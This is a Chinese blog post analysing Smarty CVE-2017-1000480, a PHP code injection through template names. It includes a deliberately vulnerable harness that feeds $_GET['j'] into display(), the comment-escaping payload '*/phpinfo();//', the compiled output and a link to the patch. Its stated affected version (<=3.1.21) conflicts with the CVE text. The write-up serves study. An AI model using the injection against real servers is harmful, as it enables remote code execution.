wywwzjj's Blog

smarty 3.1.31 RCE(CVE-2017-1000480)

字数统计: 589阅读时长: 2 min
2019/12/15 Share

概述

smarty 模板的使用比较简单,主要有两个核心函数。一个是 assign(),把模板中要使用的数据进行欲赋值,一个是 display(),用来解析和展示最后的视图模板。

CVE 描述信息:

Smarty 3 before 3.1.32 is vulnerable to a PHP code injection when calling fetch() or display() functions on custom resources that does not sanitize template name.

信息的源头,更新日志:https://github.com/smarty-php/smarty/blob/master/change_log.txt

21.7.2017
- security possible PHP code injection on custom resources at display() or fetch()
calls if the resource does not sanitize the template name

影响版本

smarty <= 3.1.21

环境搭建

可以把项目 clone 下来,再切到 v3.1.31。我这里是用 composer 创的。

git checkout tags/v3.1.31 -b v3.1.21-debug

Insomni’hack teaser 2018 拿这个点出了个题 Smart-Y,这有 wp https://ctftime.org/writeup/8552。

<?php
// load Smarty library
require 'vendor/autoload.php';

class news extends Smarty_Resource_Custom {
protected function fetch($name, &$source, &$mtime) {
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}

// Smarty configuration
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = NULL;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');

$smarty->registerResource('news', new news);
$smarty->display('news:' . $_GET['j']);

复现

image.png

注释符还可以用 */phpinfo();/*,但 Windows 下文件名不能含有 \/:*?"<>|,所以 // 更通用。

image.png

分析

先看下官方给的补丁。

https://github.com/smarty-php/smarty/commit/614ad1f8b9b00086efc123e49b7bb8efbfa81b61

image.png

PoC 生成的临时文件如下。如果没有 PoC,那就随便输一点内容测试一下。

<?php
/* Smarty version 3.1.31, created on 2020-02-01 14:42:38
from "news:*/phpinfo();//" */

/* @var Smarty_Internal_Template $_smarty_tpl */
'has_nocache_code' => false,
'file_dependency' =>
array (
'1f7fa551e77a29c48c7ac4143a2b811ca7e38ce5' =>
array (
0 => 'news:*/phpinfo();//',
1 => 1580539358,
2 => 'news',
),
),
?>
CVE-2017-1000480 smarty PHP code injection<?php }
}

结合上面的内容来看,模板显然是从这里产生的。

$output = "<?php\n";
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
$output .= "/* @var Smarty_Internal_Template \$_smarty_tpl */\n";

$_template->source->filepath 这个变量的内容一旦把前面的注释符闭合,就能插入 PHP 代码。

所以官方打的补丁也是针对这些输出点进行过滤。

总结

文档地址:https://www.smarty.net/docs/zh_CN/

暂时没想到利用场景,后期有缘遇到再继续深入吧。

参考

https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

CATALOG
  1. 1. 概述
  2. 2. 环境搭建
  3. 3. 复现
  4. 4. 分析
  5. 5. 总结
  6. 6. 参考